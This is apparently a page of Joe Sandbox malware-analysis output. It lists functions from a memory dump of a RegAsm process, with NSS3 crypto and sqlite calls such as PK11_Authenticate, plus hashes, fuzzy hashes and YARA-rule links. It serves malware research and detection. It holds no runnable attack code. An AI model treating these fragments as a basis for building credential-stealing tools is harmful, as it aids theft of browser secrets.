Part of subcall function 6C438F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C42DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C438FFA
Part of subcall function 6C438F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C42DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C439013
Part of subcall function 6C438F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C42DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C439042
Part of subcall function 6C438F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C42DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C43905A
Part of subcall function 6C438F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C42DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C439073
Part of subcall function 6C438F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C42DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C439111

PR_GetCurrentThread.NSS3 ref: 6C43C8B2

Part of subcall function 6C4D9BF0: TlsGetValue.KERNEL32(?,?,?,6C520A75), ref: 6C4D9C07

PK11_Authenticate.NSS3(?,00000001,?), ref: 6C43C8D0
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C43C8EB

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: K11_Value$CriticalEnterSectionUnlock$AuthenticateCurrentInternalItem_LoggedSlotThreadUtilZfree
String ID:
API String ID: 999015661-0
Opcode ID: 477a7ae121ca17423d818f87d30b67f1952193dc40be73abf14df5b980759708
Instruction ID: 003d5af1c3991aa3f2c8ec417f5e48856c4b41f66abcff2970157743f5f69fe1
Opcode Fuzzy Hash: 477a7ae121ca17423d818f87d30b67f1952193dc40be73abf14df5b980759708
Instruction Fuzzy Hash: 5C01E966E0123067D704A9B76C80EBF79699FD915FF041239FC0CE6B41F751891882E1

Function 6C464900 Relevance: 6.1, APIs: 4, Instructions: 63COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000004,6C44C79F,?,?,6C465C4A,?), ref: 6C464950

Part of subcall function 6C468800: TlsGetValue.KERNEL32(?,6C47085A,00000000,?,6C418369,?), ref: 6C468821
Part of subcall function 6C468800: TlsGetValue.KERNEL32(?,?,6C47085A,00000000,?,6C418369,?), ref: 6C46883D
Part of subcall function 6C468800: EnterCriticalSection.KERNEL32(?,?,?,6C47085A,00000000,?,6C418369,?), ref: 6C468856
Part of subcall function 6C468800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6C468887
Part of subcall function 6C468800: PR_Unlock.NSS3(?,?,?,?,6C47085A,00000000,?,6C418369,?), ref: 6C468899

TlsGetValue.KERNEL32(?,?,?), ref: 6C46496A
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C46497A
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C464989

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$CondErrorWait
String ID:
API String ID: 3904631464-0
Opcode ID: bb47913a8bae70cb10249b853106c112d6514787d14fc7fb9d76e2e7e251e6fe
Instruction ID: 8849bc0d1595fde2c3da253b0faf887e4cda120677ba081d0a42e63bf8d8eba7
Opcode Fuzzy Hash: bb47913a8bae70cb10249b853106c112d6514787d14fc7fb9d76e2e7e251e6fe
Instruction Fuzzy Hash: BF1156B1B402009BEF00DF3ADC45D1677B8FB023ADF150039E80A97F11E721E85887A9

Function 6C49EDB0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000,6C487FFA,?,6C489767,?,8B7874C0,0000A48E), ref: 6C49EDD4
realloc.MOZGLUE(C7C1920F,?,00000000,00000000,6C487FFA,?,6C489767,?,8B7874C0,0000A48E), ref: 6C49EDFD
PORT_Alloc_Util.NSS3(?,00000000,00000000,6C487FFA,?,6C489767,?,8B7874C0,0000A48E), ref: 6C49EE14

Part of subcall function 6C470BE0: malloc.MOZGLUE(6C468D2D,?,00000000,?), ref: 6C470BF8
Part of subcall function 6C470BE0: TlsGetValue.KERNEL32(6C468D2D,?,00000000,?), ref: 6C470C15

memcpy.VCRUNTIME140(?,?,6C489767,00000000,00000000,6C487FFA,?,6C489767,?,8B7874C0,0000A48E), ref: 6C49EE33

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 3903481028-0
Opcode ID: 1e7ddd0408085a371b86519f1a559f483d999ef22107bc3d1cc455187b765a40
Instruction ID: cdce6994b9ed2c2fb71c7ecaf271ceb0b13b2d031a5fb58b44668548c386f474
Opcode Fuzzy Hash: 1e7ddd0408085a371b86519f1a559f483d999ef22107bc3d1cc455187b765a40
Instruction Fuzzy Hash: 8511A0B1A00726ABEB10DE65DCC4F46BBA8FB0035EF244535E91986B41E331F86487E1

Function 6C4808D0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6C4809B3,0000001A,?), ref: 6C4808E9

Part of subcall function 6C470840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C4708B4

SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6C4808FD

Part of subcall function 6C46FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C468D2D,?,00000000,?), ref: 6C46FB85
Part of subcall function 6C46FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C46FBB1

SECITEM_AllocItem_Util.NSS3(?,00000000,00000001), ref: 6C480939
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C480953

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: Util$ErrorItem_$AllocAlloc_ArenaCopyFindTag_memcpy
String ID:
API String ID: 2572351645-0
Opcode ID: 2e99b12f1c9af86e3f260138aaee893669f473c170dc6a84dddc8e352a0eca88
Instruction ID: 704026cf43d2a7fccebee6e69d25962ad190480a3ca070d21eb4cd5cc9178510
Opcode Fuzzy Hash: 2e99b12f1c9af86e3f260138aaee893669f473c170dc6a84dddc8e352a0eca88
Instruction Fuzzy Hash: 6501C0B1A1364A6BFB14EA3A9C10F6737989F40259F10443DEC1AC6F41FB31E4148AA4

Function 6C4649C0 Relevance: 6.1, APIs: 4, Instructions: 61COMMON

Download Yara Rule

APIs

Part of subcall function 6C468800: TlsGetValue.KERNEL32(?,6C47085A,00000000,?,6C418369,?), ref: 6C468821
Part of subcall function 6C468800: TlsGetValue.KERNEL32(?,?,6C47085A,00000000,?,6C418369,?), ref: 6C46883D
Part of subcall function 6C468800: EnterCriticalSection.KERNEL32(?,?,?,6C47085A,00000000,?,6C418369,?), ref: 6C468856
Part of subcall function 6C468800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6C468887
Part of subcall function 6C468800: PR_Unlock.NSS3(?,?,?,?,6C47085A,00000000,?,6C418369,?), ref: 6C468899

PR_SetError.NSS3 ref: 6C464A10
TlsGetValue.KERNEL32(6C45781D,?,6C44BD28,00CD52E8,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C464A24
EnterCriticalSection.KERNEL32(?,?,?,6C44BD28,00CD52E8), ref: 6C464A39
PR_Unlock.NSS3(?,?,?,?,6C44BD28,00CD52E8), ref: 6C464A4E

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$CondErrorWait
String ID:
API String ID: 3904631464-0
Opcode ID: 210f7afd6d9ea1f39073240ceb651cdaee666a8e8663ad7ae585148d394bbbee
Instruction ID: f1ed9ad837c2e5394774d8785e4f3aebcad2d1ade293415cea26ecb8cd37453c
Opcode Fuzzy Hash: 210f7afd6d9ea1f39073240ceb651cdaee666a8e8663ad7ae585148d394bbbee
Instruction Fuzzy Hash: 9D214D74A046108FDB00EF7AC988D6AB7F4FF46359F02492DD8859BB05E730E894CB95

Function 6C438DD0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C438DE7
EnterCriticalSection.KERNEL32 ref: 6C438DFC
PR_Unlock.NSS3 ref: 6C438E2D
PR_SetError.NSS3 ref: 6C438E49

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 4602dc06ac07a1932f884055369e044697d0df54f3864979357b5b241b1ab304
Instruction ID: 35e18fafce9f7ee70532b59423941f479aaaf29dea61a94a15e3fa77fb164ced
Opcode Fuzzy Hash: 4602dc06ac07a1932f884055369e044697d0df54f3864979357b5b241b1ab304
Instruction Fuzzy Hash: A01182716056109BD700EF79C488A69BBF4FF49314F01496ADC88DB700E734E894CBD1

Function 6C4BAC70 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(000A34B6,00000000,00000678,?,6C4A5F17,?,?,?,?,?,?,?,?,6C4AAAD4), ref: 6C4BAC94
PK11_FreeSymKey.NSS3(08C483FF,00000000,00000678,?,6C4A5F17,?,?,?,?,?,?,?,?,6C4AAAD4), ref: 6C4BACA6
free.MOZGLUE(20868D04,?,?,?,?,?,?,?,?,6C4AAAD4), ref: 6C4BACC0
free.MOZGLUE(04C48300,?,?,?,?,?,?,?,?,6C4AAAD4), ref: 6C4BACDB

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: free$DestroyFreeK11_Monitor
String ID:
API String ID: 3989322779-0
Opcode ID: 956177da138ff7d304151619fd99b3d3ecfefe4cafba854b7721fa8d24086af0
Instruction ID: db7a662a9dc1df3612ca5e0e9776141b0e0ed477e7d65d0f5ed58008caa17e4c
Opcode Fuzzy Hash: 956177da138ff7d304151619fd99b3d3ecfefe4cafba854b7721fa8d24086af0
Instruction Fuzzy Hash: 0F0129B1601B029BEB50DF2AD908E67B7F8FF0065AB104839D85AD7B10E731F055CBA1

Function 6C4688E0 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,?,6C4708AA,?), ref: 6C4688F6
EnterCriticalSection.KERNEL32(?,?,?,?,6C4708AA,?), ref: 6C46890B
PR_NotifyCondVar.NSS3(?,?,?,?,?,6C4708AA,?), ref: 6C468936
PR_Unlock.NSS3(?,?,?,?,?,6C4708AA,?), ref: 6C468940

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: CondCriticalEnterNotifySectionUnlockValue
String ID:
API String ID: 959714679-0
Opcode ID: d5e3a268f46d045f1c435ed3c217e41a73eb4a76bb614386559fa025c3ad87a0
Instruction ID: 29807b16c7c777f698d5baf7e5cac2ad0d5f116b3a7fbab2d40d9ca445d63583
Opcode Fuzzy Hash: d5e3a268f46d045f1c435ed3c217e41a73eb4a76bb614386559fa025c3ad87a0
Instruction Fuzzy Hash: 2C018474A04A059BDB00EF3AC484E55B7F4FF06359F010A2AD88987B14E734E498CBD2

Function 6C4A0840 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C572F88,6C4A0660,00000020,00000000,?,?,6C4A2C3D,?,00000000,00000000,?,6C4A2A28,00000060,00000001), ref: 6C4A0860

Part of subcall function 6C394C70: TlsGetValue.KERNEL32(?,?,?,6C393921,6C5714E4,6C4DCC70), ref: 6C394C97
Part of subcall function 6C394C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C393921,6C5714E4,6C4DCC70), ref: 6C394CB0
Part of subcall function 6C394C70: PR_Unlock.NSS3(?,?,?,?,?,6C393921,6C5714E4,6C4DCC70), ref: 6C394CC9

TlsGetValue.KERNEL32(00000020,00000000,?,?,6C4A2C3D,?,00000000,00000000,?,6C4A2A28,00000060,00000001), ref: 6C4A0874
EnterCriticalSection.KERNEL32(00000001), ref: 6C4A0884
PR_Unlock.NSS3 ref: 6C4A08A3

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$CallOnce
String ID:
API String ID: 2502187247-0
Opcode ID: 4c47496473cf0180d7b9887ad686726364fe553c5195faa686afd8d622376303
Instruction ID: b8004ba4716e3e04c5237e84e5033710b85a72bb9a23bb31a1fcdb409aec256b
Opcode Fuzzy Hash: 4c47496473cf0180d7b9887ad686726364fe553c5195faa686afd8d622376303
Instruction Fuzzy Hash: A8017075E00240ABEB01BB69DC45D557B38DB6731DF050179EC0952B05FB3194D587F5

Function 6C52CC50 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?), ref: 6C52CC61
free.MOZGLUE ref: 6C52CC6E
DeleteCriticalSection.KERNEL32(?), ref: 6C52CC80
free.MOZGLUE(?), ref: 6C52CC87

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: 430b41f8b6789975bf9a2dc31b2751332f3af94abc3a9580ecf7b6940bdbfb9c
Instruction ID: e59d463521b661d0a9a92b22abc4563a5d41642718f214d32b62c82089bad430
Opcode Fuzzy Hash: 430b41f8b6789975bf9a2dc31b2751332f3af94abc3a9580ecf7b6940bdbfb9c
Instruction Fuzzy Hash: 92E030767016089BCE10EFA9DC4489A77ACEE492703160525E691C7710D331F905CBA5

Function 6C464D10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6C464D57
PR_snprintf.NSS3(?,00000008,%d.%d,?,?), ref: 6C464DE6

Strings

%d.%d, xrefs: 6C464DDE

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: ErrorR_snprintf
String ID: %d.%d
API String ID: 2298970422-3954714993
Opcode ID: 1657ae95da84de97bb7f11f514b9fa549cdbf10906d120f18b3aa6a1d4da731e
Instruction ID: bb9f35f2cd2fab30ddf198f763108706dd947c311e189163dd68140e9518bca3
Opcode Fuzzy Hash: 1657ae95da84de97bb7f11f514b9fa549cdbf10906d120f18b3aa6a1d4da731e
Instruction Fuzzy Hash: 5631C4B2D042186AEB50DBA6DC11FFF7768EF80348F050429E9159BB85EB709905CBE1

Function 6C500900 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?), ref: 6C500917
sqlite3_value_text.NSS3(?), ref: 6C500923

Part of subcall function 6C3C13C0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,6C392352,?,00000000,?,?), ref: 6C3C1413
Part of subcall function 6C3C13C0: memcpy.VCRUNTIME140(00000000,R#9l,00000002,?,?,?,?,6C392352,?,00000000,?,?), ref: 6C3C14C0

Strings

error in %s %s%s%s: %s, xrefs: 6C500944

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: sqlite3_value_text$memcpystrlen
String ID: error in %s %s%s%s: %s
API String ID: 1937290486-1007276823
Opcode ID: 0d84853798bdbf0fb078ec13862c989dcf0713c39d310d2d63deb99d86e70119
Instruction ID: af1b947dbb6cd9fa2cd44f8c458e681c3bd24ab1ebd24dd165e6a3ce0854634e
Opcode Fuzzy Hash: 0d84853798bdbf0fb078ec13862c989dcf0713c39d310d2d63deb99d86e70119
Instruction Fuzzy Hash: 8B0104B6E041485BEB009F58EC01DBABBB5EFC1218F144539ED485B712F732AD2487E2

Function 6C484CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3('8Hl,00000000,00000000,?,?,6C483827,?,00000000), ref: 6C484D0A

Part of subcall function 6C470840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C4708B4

SECITEM_ItemsAreEqual_Util.NSS3(00000000,00000000,00000000), ref: 6C484D22

Part of subcall function 6C46FD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6C411A3E,00000048,00000054), ref: 6C46FD56

Strings

'8Hl, xrefs: 6C484D07

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: Util$Equal_ErrorFindItemsTag_memcmp
String ID: '8Hl
API String ID: 1521942269-1249711309
Opcode ID: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction ID: 510b1a2f1d6ad686107facb9550644a8990df47ff2bb110b1364f08f5d975125
Opcode Fuzzy Hash: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction Fuzzy Hash: 13F0963260232467EB108D6AAC90F4336DC9B416FEF151271ED28CB781E731DC01C6E1

Function 6C4AAF70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

PR_GetUniqueIdentity.NSS3(SSL), ref: 6C4AAF78

Part of subcall function 6C40ACC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C40ACE2
Part of subcall function 6C40ACC0: malloc.MOZGLUE(00000001), ref: 6C40ACEC
Part of subcall function 6C40ACC0: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C40AD02
Part of subcall function 6C40ACC0: TlsGetValue.KERNEL32 ref: 6C40AD3C
Part of subcall function 6C40ACC0: calloc.MOZGLUE(00000001,?), ref: 6C40AD8C
Part of subcall function 6C40ACC0: PR_Unlock.NSS3 ref: 6C40ADC0
Part of subcall function 6C40ACC0: PR_Unlock.NSS3 ref: 6C40AE8C
Part of subcall function 6C40ACC0: free.MOZGLUE(?), ref: 6C40AEAB

memcpy.VCRUNTIME140(6C573084,6C5702AC,00000090), ref: 6C4AAF94

Strings

SSL, xrefs: 6C4AAF73

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: Unlock$IdentityUniqueValuecallocfreemallocmemcpystrcpystrlen
String ID: SSL
API String ID: 2424436289-2135378647
Opcode ID: f64442ad41f1e66433d3608b290d22a7b1b06ef07b481ffe2666144a8f67f0cb
Instruction ID: dd2de007c247ee49fbddc6b71e2731351104481bb284274edd678832c469d0ee
Opcode Fuzzy Hash: f64442ad41f1e66433d3608b290d22a7b1b06ef07b481ffe2666144a8f67f0cb
Instruction Fuzzy Hash: 0D2172F2315A789EDA42DF919C0FF52BEB0B3223247125009C1490BB68E332408A9FF9

